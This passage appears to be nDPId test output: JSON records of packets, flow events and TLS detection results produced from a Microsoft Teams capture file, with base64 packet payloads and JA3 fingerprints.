FBQcDAjAKBggrBgEFBQcDATA+BgkrBgEEAYI3FQcEMTAvBicrBgEEAYI3FQiH2oZ1g+7ZAYLJhRuBtZ5hhfTrYIFdhNLfQoLnk3oCAWQCAR0wgYUGCCsGAQUFBwEBBHkwdzBRBggrBgEFBQcwAoZFaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDUuY3J0MCIGCCsGAQUFBzABhhZodHRwOi8vb2NzcC5tc29jc3AuY29tMB0GA1UdDgQWBBQMd5+v"} +00441{"flow_id":61,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2358,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041691,"pkt_ts_usec":191074,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG2I\/AqAEGNHJsCOyVAbumbh0crneBYbAQEAn+NAAAAQEICjCE0B1SqiqsAQEFCq53hwGud4yh"} +00424{"flow_id":61,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2359,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041691,"pkt_ts_usec":191092,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG2JvAqAEGNHJsCOyVAbumbh0crneMoYAQD6+Z4wAAAQEICjCE0B1SqirB"} +02373{"flow_id":61,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2360,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041691,"pkt_ts_usec":191199,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUPCdAAHEGZdQ0cmwIwKgBBgG77JWud4yhpm4dHIAQBAVq7QAAAQEIClKqKsEwhNAIggIBAJrfgVw7j67peZa5mnmngfI52lUoRiMCxYJmB7YV3v2cOhqbkQnSZo8LiRf4cYchfzjTP5olALc10Kv4CHo281Bb3yspJ96k3SSS+vTGcI02KprwgN41+h5CnQmBqtUHChalxVpCbUK+HkKCtFcwmVtFK9SP0woGxnOTpOGD78W\/BSeneM2zC+CeIhbzmNymFOjMlNcj+dBQmbu1CxCV8d8C6Y+OnVaZPNiP01j7XJJ+PXv4UEla9xB7d\/jmSpBKVVLelK10CaBkVyzNB5CfFq2Vw9EGuvHvbAW1BKyp3Bsxmw4tGZUET95my601cq8ZggiyFDoWX7A8m9uNDLAC1iYf6BVxxO\/5YzlDjOnCki6hwqAwJQ6WJ1+eoyuC1hC9PBkepof+VSE6XEH8AZjML5L\/Zji0uGacDxJoS0qshrtemP+eppxTbDMRpNCuUkfXi4\/xlqy5KZqPLPGtZBjDJrsAZN5QcMC77MZrrtOg78DxXA3yzHpZ2hgzL1kQrWcULF8iQ0pE4ejd4OdVFk4J7wNMDEhQWvAD347vY8pbZ4dDQCwGth8PPlPAZj\/XFBXmCGKYSH6D5ae1XVEtVC1h\/TRd1LeAzdJ9zrEkO\/OXbGwT3ooXyYr1SJVC9xKQ4xAX9qEAxTYqZZGeBexCLlq4mRv\/1E61+mZV2YOOvwgpjfoLAgMBAAGjggFCMIIBPjAdBgNVHQ4EFgQUCP4ln3TqhwTCvLuOqDhfM8bRbGUwHwYDVR0jBBgwFoAU5Z1ZMIJHWMys+ghUNoZ7OrUETfAwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAYYwJwYDVR0lBCAwHgYIKwYBBQUHAwEGCCsGAQUFBwMCBggrBgEFBQcDCTA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTA6BgNVHR8EMzAxMC+gLaArhilodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vT21uaXJvb3QyMDI1LmNybDA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzANBgkqhkiG9w0BAQsFAAOCAQEAPvLPMKV6vx5q3zlYGCg8w53u54HFS\/xn9r8fTjfa3vCv7or5A3tgZ3THO9r\/K0rr\/VR1E4vlwoESulISILopijrNQyTM1RcF\/pwWP3PgbUHAdj3yq0jFWWJkukRPChiCP0HqPxg6WOegMFd19dFqMRS2lJll2rboAd7kq\/u18+UZChhfpAJX3rZcJm9z\/i4J9QhDxA\/HJH+dKGdlodxb8Dr9+HCF56VPJN5CPx1EO12FBoUdHhzU2U5R5P0eERbMngDZlxqX42XHhjUbU3a+MtEsQUlLoz6TDFt3VwcwPDWLjNFpoif6VeirnRAe0RffumyJ08lb1wuUiKnYtJXXjhYABysBAAcnMIIHIwoBAKCCBxwwggcYBgkrBgEFBQcwAQEEggcJMIIHBTCBx6IWBBT9VOfspjpsX70VZxDzhO\/uVmwbaRgPMjAyMDA0MTQxMzAxMTVaMIGbMIGYMEwwCQYFKw4DAhoFAAQUKYX8YT2+L7ASD15CDkyew9We\/XwEFAj+JZ906ocEwry7jqg4XzPG0WxlAhMtAAXjKxcECLqmmESDAAAABeMrgAAYDzIwMjAwNDE0MTMwMTE1WqARGA8yMDIwMDQxODEzMDExNVqhIjAgMB4GCSsGAQUFBzABBgQRGA8yMDE5MDQxNTEzMDExNVowDQYJKoZIhvcNAQELBQADggEBAK975DEh8WzPdb3FpRReOf5Sy63kYKCuHzsY6rlp\/wgMkCD\/yFhmFRcHLMUO9LPi\/jYfv7Cg"} +00425{"flow_id":61,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2361,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041691,"pkt_ts_usec":191295,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG2JvAqAEGNHJsCOyVAbumbh0crneSQYAQEACT8gAAAQEICjCE0B1SqirB"} +02366{"flow_id":61,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2362,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041691,"pkt_ts_usec":191445,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUPChAAHEGZdM0cmwIwKgBBgG77JWud5JBpm4dHIAQBAXk8wAAAQEIClKqKsEwhNAIvhtlQNa8nBY29uJ6awAw5nKVXODG\/oJcUZ9dQ5EjHt1yiRENCi5Y7u21Hb6zTvQxLZoyrSHonebDsj4RZa0Jz4Q5h5gJw3Q4pxTV7w7B9vrrMtBBVu96ReOtAkkInPSrc\/QNXz1Ht60p\/oC4G+SyuJPiei\/yX+Ar9sUqaJEfTXatWvhCaL0LTByCDDeeS0xam0vWl7K6mjAr3BqX8pz5xV2Pe8pNKnLbdoMEdGQyPCzlWRp6DEp9bd+A2eiKEItkI6q2O1mhfHULTzegggUjMIIFHzCCBRswggMDoAMCAQICE24AE\/D2Kp4kxgB1wsEAAAAT8PYwDQYJKoZIhvcNAQELBQAwgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xFTATBgNVBAsTDE1pY3Jvc29mdCBJVDEeMBwGA1UEAxMVTWljcm9zb2Z0IElUIFRMUyBDQSA1MB4XDTIwMDMxNTE1MjQzOFoXDTIxMDMxNTE1MjQzOFowKzEpMCcGA1UEAwwgTWljcm9zb2Z0X0lUX1RMU19DQV81X0tleUJpbmRpbmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDLL8jj3UBzU\/au5HTPbtPMCk5oVv210n++4hY3ar0HqI9QquzZ4bSqFbTrvtEbBDUYjsuWRRyh7PmGb4\/i5111AQMiqmHCXMlUEoISsFDVWgU7ngCnMhwhp48l8JBmtkGzagdLpyHYHcSiPAlGCLd3jLiBKzM\/ueqOFFcN5TX5VPlL2bsNstKGUgz+WDhIfD0rhDLaagjE5kTA5Hlzx57WHJdADehPDFVjuBfeAlZZfr5n6B895zjgrfQ5aiOSHga1h087GXde6\/l1KqhKH6h6hhEXE5ueZlHVt8E78+aTJ8R72aoP7RFMtNiGy6NcvSO5txy6nvamfpgaF+6trEkXAgMBAAGjgdYwgdMwHQYDVR0OBBYEFP1U5+ymOmxfvRVnEPOE7+5WbBtpMA4GA1UdDwEB\/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDCTAPBgkrBgEFBQcwAQUEAgUAMB8GA1UdIwQYMBaAFAj+JZ906ocEwry7jqg4XzPG0WxlMD4GCSsGAQQBgjcVBwQxMC8GJysGAQQBgjcVCIfahnWD7tkBgsmFG4G1nmGF9OtggV2BzJtHgcjpFgIBZAIBBzAbBgkrBgEEAYI3FQoEDjAMMAoGCCsGAQUFBwMJMA0GCSqGSIb3DQEBCwUAA4ICAQBuHFOoYYKg3cb0bUdjBxt0hVtcSnqF5W8ns\/9POrOjPDOf06GOC96qd9hr7hzAMCTioOAKpJ6fxlxkaOZvZAdvbi7AB\/SSaqRPF+sSsVoEuHOeBJYXeKJ2gjkaigkkIN5VcPFG2IjgkgIkk\/ho4Js9P+Uz3qAYfTPWFBpG+Iqrz0ohHyF5lnGmmGqBfpPCaUGisapj1uGyPYySvMpw6VrkfurOb2qw4NKYKHL+lu2XK0iQumrgg5H3wXsc3A2dOpPUQk4f6u4Cl+3z74P+XmrgzFCXvFQsZd46CNTqGRoEomrdF1xluttGd23tPXgK2Ij+kxVrxEG3nuAMNfvpbW6DLNtmaIB2\/MnW5seyQgrzAqc4X4+ejAnzHVfaGwQw8s2APMSDDKPlXsPqR4WzmEcRLj8qZWAjgb7afrWYUdpLL6GNC8talUqDHqz0IUfEREp2wMTNU05Iw3OOmn+EPWxxb3yKSz98D0BK3d0BfGuuINxw7D8yrEe5C7HzxcJW93BSLniXitCzJ7xP7vgE\/u7evLIsG4aYySMy3gMmFMW0e1fLKFisP7WNWhMY40d9"} +00995{"flow_id":61,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2363,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041691,"pkt_ts_usec":191459,"pkt_caplen":485,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":485,"pkt_l4_len":451,"pkt":"KDc3AG3IEBMx8Tl2CABFAAHXPClAAHEGac80cmwIwKgBBgG77JWud5fhpm4dHIAYBAWziQAAAQEIClKqKsEwhNAIuen4aX8Wo8+uJ5lC2sVG\/Fl3f5qa\/nbuVlQ5c4F9X4YT3X7ghItjAt95eutjN0qOIZLK0vLQBwDDhvcC5C2Ogjgr8KGdKMh8+Xh7DKUI1mYyvgwAAUkDABdBBHWZvN1r+99W06TDuMX70ZqrciJsn7\/PyvG6CrmMf2x1EhOnKWS7R1qwf4dHbb6oif6w1aUdUWx0dNjBtMK9NhoEAQEAUDFhQbDJHVZEigyhQ6OY19eNe49WlTIFacDO6cArNYKFdX3aO7OwgkSg95xYecupFoYU5dn4fpnsra81SKTeXEFwB6FiRblCKkJKIzKFTx20SCKEj3\/d\/irlF7vjsT95FikTrqK6js7LU+sTgvNZhVxsxgB9Si0skq7N2ozhkx6AbncZzuTHgAXuGpi8X6GwYXvWJPRxm7RE4w7ijwEZ839O+mbTB3U5eBTa3t\/6xJnaVXKzZi3tmswPcsznMvcHZEmYEe6wJ8slSmzcofIsynOLsfUf93FAudtVdh15AjE4LuPFvGGWA74M\/a395uxgomkxdqHbi2lOcjnRmdbLdQ4AAAA="} +00425{"flow_id":61,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2364,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041691,"pkt_ts_usec":191488,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG2JvAqAEGNHJsCOyVAbumbh0crneZhIAQD8WM6gAAAQEICjCE0B1SqirB"} +00597{"flow_id":61,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2365,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041691,"pkt_ts_usec":192558,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"EBMx8Tl2KDc3AG3ICABFAACyAABAAEAG2B3AqAEGNHJsCOyVAbumbh0crneZhIAYEAD7QgAAAQEICjCE0B5SqirBFgMDAEYQAABCQQQK2dJCEMdhX7md\/Lh5ouYbeR0QO78n8njlcA5HQdgEcR4bEQk4KMHqHrxid1o7584ZuY8J6mKXsb02dkJUD4LJFAMDAAEBFgMDACgAAAAAAAAAAA0dAU2U0JIs+ClJsG6565DMr4wwIiXSF2v9oa+FYEKF"} +00555{"flow_id":61,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2366,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041691,"pkt_ts_usec":204853,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"EBMx8Tl2KDc3AG3ICABFAACRAABAAEAG2D7AqAEGNHJsCOyVAbumbh2arneZhIAYEAA6yQAAAQEICjCE0ClSqirBFwMDAFgAAAAAAAAAAbwT8vUFA\/Fojr5f+cigicqpuAuzJpiwa1yz1q\/0GLhLgeNCd3U+W4HLxbcHwGMjOynBOWtzGHt\/xqnqJXowVUdqfRJcmwhgKsejNsTw2mwr"} +00386{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2416,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041691,"pkt_ts_usec":410839,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2416,"source":"teams.pcap","alias":"nDPId-test","type":34969} +00375{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2419,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041691,"pkt_ts_usec":611256,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} +00155{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2419,"source":"teams.pcap","alias":"nDPId-test","type":38} +00780{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2437,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041692,"pkt_ts_usec":419649,"pkt_caplen":321,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":321,"pkt_l4_len":287,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWrCABFAAEzETFAAEARZ+DAqAAB\/\/\/\/\/wBEAEMBHwAAAQEGAPmTDokAAIAAAAAAAAAAAAAAAAAAAAAAANgNF9ZVqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwIBAwwJVEwtU0cxMTZFPAlUTC1TRzExNkU9BwHYDRfWVav\/"} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":2438,"source":"teams.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1587041686659,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.112","dst_ip":"192.168.1.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2438,"source":"teams.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1587041692528,"flow_last_seen":0,"flow_tot_l4_data_len":152,"flow_min_l4_data_len":152,"flow_max_l4_data_len":152,"flow_avg_l4_data_len":152,"midstream":1,"l3_proto":"ip4","src_ip":"151.11.50.139","dst_ip":"192.168.1.6","src_port":2222,"dst_port":54750,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00592{"flow_id":62,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2438,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041692,"pkt_ts_usec":528594,"pkt_caplen":186,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":186,"pkt_l4_len":152,"pkt":"KDc3AG3IEBMx8Tl2CABFAACscMtAADIGTDyXCzKLwKgBBgiu1d6yibcLw8sjj4AYAfWSMAAAAQEICnMgXuAwhCbwdBDZH1X2LNSHenV0XPT5UOuNQPq3DAtDODIIsZ4L3xE8W9ceOtMh\/taRn1i3oYCG\/lk5DiXu3JH7RFT8gb0ANFHp9LfVVHPD+A0sB0\/WJaUdO\/QQPvH9sYa9nCylNS5SUfWnuhHHtKPL+2Ql1DSrQI\/KjFfe6Sr3"} +00425{"flow_id":62,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2439,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041692,"pkt_ts_usec":528684,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFSAA0AABAAEAGrzfAqAEGlwsyi9XeCK7DyyOPsom3g4AQD\/zTvAAAAQEICjCE1UVzIF7g"} +00526{"flow_id":62,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2440,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041692,"pkt_ts_usec":528752,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"EBMx8Tl2KDc3AG3ICABFSAB8AABAAEAGru\/AqAEGlwsyi9XeCK7DyyOPsom3g4AYEADukgAAAQEICjCE1UVzIF7g5AplDBJ5jEkO1U2Mpra9\/PbG6UC\/FVXGQ5pEnr4zSbP3LnLXhdyZOGgH9qsJLTZHLgDXKr5t+q9K3Mvbm5JFapBhK16BH5zD"} +00424{"flow_id":62,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2441,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041692,"pkt_ts_usec":578366,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0cMxAADIGTLOXCzKLwKgBBgiu1d6yibeDw8sj14AQAfXhSgAAAQEICnMgXxEwhNVF"} +00375{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2442,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041692,"pkt_ts_usec":611278,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} +00155{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2442,"source":"teams.pcap","alias":"nDPId-test","type":38} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2443,"source":"teams.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_first_seen":1587041692808,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"167.99.215.164","src_port":60566,"dst_port":4434,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":63,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2443,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041692,"pkt_ts_usec":808980,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG+gHAqAEGp2PXpOyWEVIVrX6QAAAAALAC\/\/9dQAAAAgQFtAEDAwUBAQgKMITWWwAAAAAEAgAA"} +00437{"flow_id":63,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2444,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041692,"pkt_ts_usec":880898,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADQGBganY9ekwKgBBhFS7JY0lYWJFa1+kaAS\/ohhIwAAAgQFrAQCCAoTeUD2MITWWwEDAwc="} +00425{"flow_id":63,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2445,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041692,"pkt_ts_usec":880999,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+g3AqAEGp2PXpOyWEVIVrX6RNJWFioAQECx9\/QAAAQEICjCE1qITeUD2"} +01123{"flow_id":63,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2446,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041692,"pkt_ts_usec":881339,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"EBMx8Tl2KDc3AG3ICABFAAI5AABAAEAG+AjAqAEGp2PXpOyWEVIVrX6RNJWFioAYECynDgAAAQEICjCE1qITeUD2FgMBAgABAAH8AwNIwmNvYpaxx4YaNkM5UOMBu+\/rhWm5ROKLkUQ+n9+bqCDe8bvsDQaKZ\/SHTClTSUEpcKfm8tnRcB\/XxmDM4wjf0gByEwITAxMBwCzAMACfzKnMqMyqwCvALwCewCTAKABrwCPAJwBnwArAFAA5wAnAEwAzAK0Aq8yuzK3MrACdAKnMqwCsAKoAnACoAD0APMA4wDYAtwCzAJUAkQA1AK8AjcA3wDUAtgCyAJQAkAAvAK4AjAD\/AQABQQAAABIAEAAADWRhdGkubnRvcC5vcmcACwAEAwABAgAKAAwACgAdABcAHgAZABgAIwAAM3QAAAAQAA4ADAJoMghodHRwLzEuMQAWAAAAFwAAAA0AMAAuBAMFAwYDCAcICAgJCAoICwgECAUIBgQBBQEGAQMDAgMDAQIBAwICAgQCBQIGAgArAAkIAwQDAwMCAwEALQACAQEAMwAmACQAHQAgqeitnlzPDiYBqjP3nyoLl6FANLUWPuCFiHYla5PeYScAFQB8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00836{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2446,"source":"teams.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":4,"flow_first_seen":1587041692808,"flow_last_seen":1587041692881,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"167.99.215.164","src_port":60566,"dst_port":4434,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"TLS.ntop","breed":"Safe","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dati.ntop.org","ja3":"7120d65624bcd2e02ed4b01388d84cdb","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00424{"flow_id":63,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2447,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041692,"pkt_ts_usec":951911,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0HBJAADQG6funY9ekwKgBBhFS7JY0lYWKFa2AloAQAfqJ4wAAAQEIChN5QT0whNai"} +00636{"flow_id":63,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2448,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041692,"pkt_ts_usec":953141,"pkt_caplen":218,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":218,"pkt_l4_len":184,"pkt":"KDc3AG3IEBMx8Tl2CABFAADMHBNAADQG6WKnY9ekwKgBBhFS7JY0lYWKFa2AloAYAfrg1wAAAQEIChN5QT8whNaiFgMDAGACAABcAwOUbx5\/B3ZgLf5vCjBFIQRrfoTRnqXQyERycJrp90X9EiDe8bvsDQaKZ\/SHTClTSUEpcKfm8tnRcB\/XxmDM4wjf0sAwAAAU\/wEAAQAAEAALAAkIaHR0cC8xLjEUAwMAAQEWAwMAKHrIfL7WEd9FBF7y+nv07iI\/qncPABmynlkhHQHjbn7q57JKbc2IA90="} +00890{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2448,"source":"teams.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":6,"flow_first_seen":1587041692808,"flow_last_seen":1587041692953,"flow_tot_l4_data_len":881,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":146,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"167.99.215.164","src_port":60566,"dst_port":4434,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"TLS.ntop","breed":"Safe","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dati.ntop.org","ja3":"7120d65624bcd2e02ed4b01388d84cdb","ja3s":"410b9bedaf65dd26c6fe547154d60db4","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} 